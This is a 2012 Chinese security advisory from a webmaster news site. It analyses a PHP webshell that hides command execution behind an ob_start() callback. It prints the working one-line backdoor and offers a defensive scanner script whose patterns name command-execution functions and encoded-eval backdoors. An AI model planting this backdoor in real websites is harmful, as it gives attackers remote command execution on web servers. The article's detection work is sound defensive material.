首页 > 经验 > 关键词  > 网站安全分析最新资讯  > 正文

网站安全分析:PHP ob_start函数后门分析报告

2012-09-12 11:19 · 稿源:站长之家

站长之家(chinaz.com)9月12日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。

我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。

PHP 手册中关于ob_start()函数回调机制的相关说明:

Ob_start()函数后门代码如下:

<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>

后门利用效果如下图:

针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。

为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:

#!/usr/bin/php -q
<?php

#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval\(\\$\_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval\(base64 匹配经过base64编码后的后门
#eval\(gzuncompress 匹配经过gzip压缩过的后门
#\`*\` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)

#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) > result.log

程序的分析结果将保存在当前目录下的result.log文件中

set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir->read()){
if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." && $file != ".."&&eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++;if((eregi("eval\(\\$\_POST",$buffer))||(eregi("system\(",$buffer))||(eregi("exec\(",$buffer))||(eregi("shell_exec\(",$buffer))||(eregi("popen\(",$buffer))||(eregi("phpinfo\(",$buffer))||(eregi("passthru\(",$buffer))||(eregi("proc_open\(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval\(base64",$buffer))||(eregi("eval\(gzuncompress",$buffer))||(eregi("preg_replace\(\/^\/e,\$",$buffer))||(eregi("preg_replace\(\"\/\^\/e",$buffer))||(eregi("assert\(",$buffer))||(eregi("ob_start\(",$buffer))||(eregi("error_log\(",$buffer))||(eregi("dl\(",$buffer))){
all();
echo "可疑文件路径:".$fd."\r\nLine".$i.":".$buffer."\r\n\r\n";
}
}
fclose($fp);
}
}
}
$mydir->close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}

find($argv[1]);
?>

使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识&技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。

注明:本安全报告来自日志宝,官方网站www.rizhibao.com

举报

  • 相关推荐
  • 如何用DeepSeek生成高质量的竞品SWOT分析报告

    本教程介绍如何利用DeepSeek AI工具快速生成电商平台供应链SWOT分析报告。以京东vs拼多多为例,通过输入指定指令,AI可自动生成包含优势、劣势、机会和威胁四个维度的结构化分析报告,重点突出两者供应链能力差异。操作流程包括:1)登录DeepSeek官网进入对话界面;2)输入SWOT分析指令;3)获取AI生成结果。该方法能显著提升商业分析效率,建议结合最新行业数据对报告进�

  • 如何使用 DeepSeek 生成行业分析报告?

    本文介绍如何利用DeepSeek AI工具快速生成专业行业报告。在信息爆炸时代,该工具能高效完成市场分析、战略决策所需的行业研究。操作流程分四步:1.登录官网注册账号;2.输入指令并附相关资料(如"用金字塔原理分析汽车行业趋势");3.等待AI生成报告,简单指令几秒完成,复杂报告需几分钟;4.查看结果后可要求AI进行扩写或精简。该工具特别适合企业决策者和市场分析师使用,能显著提升行业研究效率。

  • StarRocks 优化实践:揭秘毫秒级实时分析的三大核心技术

    StarRocks是一款高性能实时分析数据库,通过三大核心技术解决海量数据分析难题:1)向量化执行引擎,采用批处理方式减少CPU开销,支持SIMD指令集加速计算;2)CBO优化器,基于统计信息智能选择最优执行计划,支持复杂查询改写和物化视图优化;3)列式存储结构,结合稀疏索引和Bitmap索引提升I/O效率。其企业级产品镜舟数据库在此基础上增强多租户隔离、RBAC权限控制等特性

  • AI日报:阿里开源3D数字人项目MNN TaoAvatar;MiniMax Agent上线;罗永浩数字人直播再探“AI+IP”带货模式

    本文汇总了AI领域最新动态:1)阿里开源MNN+TaoAvatar技术,实现手机端3D数字人实时交互;2)MiniMax升级AI工具Agent,新增智能图像搜索和多语言支持;3)罗永浩数字人将登陆百度电商直播;4)OpenAI员工套现近30亿美元,软银成最大接盘方;5)ChatGPT推出深度研究和语音模式升级;6)Meta发布V-JEPA2模型,提升机器人环境适应能力;7)AMD与OpenAI合作推出新一代AI芯片;8)Google Gemini集成Imagen4图像生成模型;9)谷歌AI实现10公里级精准天气预报;10)Gartner预测到2028年80%的AI应用开发时间将缩短50%。

  • 谷歌“坟场”再添一员:将于 12 月关闭 Instant Apps!

    2017 年首次推出的 Instant Apps 功能将于 2025 年 12 月正式退役。届时,用户只能回归“老老实实用网页”的生活方式了……

  • 网易云音乐iPad端新版beta上线 打造无广告纯净音乐体验

    网易云音乐宣布其iPad端产品迎来重大更新,新版(beta)正式登陆应用市场,为用户带来了一系列升级与改进。此次更新,网易云音乐继续秉持“听劝”态度,深度响应用户需求,致力于打造更加优质、纯净的音乐聆听环境。 在产品功能、界面设计以及iPad系统适配方面,网易云音乐均进行了全面优化。新版iPad端特别推出了无广告纯净版,让用户在享受音乐的同时,免受广告�

  • OPPO首款内置风扇手机!OPPO K13 Turbo Pro全配置揭晓

    快科技6月14日消息,博主数码闲聊站今天曝光了OPPO K13 Turbo Pro的基础配置信息,这是OPPO的第一款内置风扇手机。具体来看,该机将搭载一块6.8英寸的1.5K直屏,拥有2800*1280p分辨率、144Hz超高刷新率,配备短焦屏幕指纹识别。前摄是1600万像素,后摄是5000万像素 200万像素的双摄组合,影像并不是主打方向。机身采用塑料中框方案,自带RGB灯,支持IPX8。最关键的是性能规格,OPPO K13 Turbo Pro搭载第四代骁龙8s处理器,并且配备有16GB 512GB的大内存组合,是一台主打性能体验的机型。而且该机采用了内置主动风扇散热系统,在后置主摄下

  • 极光旗下EngageLab及GPTBots双品牌通过SOC 2 Type II认证

    极光旗下EngageLab和GPTBots双品牌通过SOC 2 Type II认证,彰显数据安全与国际合规能力。该认证由美国注册会计师协会制定,覆盖安全性、可用性等五大维度,验证了平台在连续数月的稳定运营表现。作为中国领先的客户互动与营销科技服务商,极光通过旗下客户互动平台EngageLab和企业级AI智能体GPTBots,为全球客户提供行业领先的数据安全保障。此次认证巩固了极光在智能客户互动与AI服务领域的行业地位,其客户覆盖科技、金融等多个领域,遍布全球多个国家和地区。

  • 九章云极发布“AI-STAR企业生态联盟”,首期投入1.8亿元

    2025年6月16日,九章云极DataCanvas公司在智能计算论坛上发布"AI-STAR企业生态联盟",推出开放的九章智算云Alaya NeW Cloud服务市场。同时宣布与赛富投资基金等机构联合设立1.8亿元"AI-STAR智算生态基金"。未来三年,公司将通过"开放服务市场+生态基金投资"模式,在AI高端算力、模型工具链、智能体应用等领域赋能生态伙伴。九章智算云Alaya NeW Cloud提供丰富的开源AI工具链及算力自选服务,支持主流大模型和衍生模型。公司强调开源开放是AI普及的核心驱动力,正构建开放的AI生态系统,为全球企业提供算力、工具、资金等全方位支持。

  • 能否按时上市:特斯拉重新申请新“Tesla Robotaxi”商标

    特斯拉公司重新提交了Tesla Robotaxi”这一名称的商标申请。 此前,特斯拉在2024年10月首次申请了Robotaxi”和Cybercab”两个商标,但遭遇了阻碍。 美国专利商标局(USPTO)以Robotaxi”这一术语被多家公司使用为由,要求特斯拉提供更多细节信息,而Cybercab”的申请则因Cyber”一词被众多公司尝试注册不同用途的商标而被直接驳回。 此次,特斯拉提交了三个新的商标申请,将商标名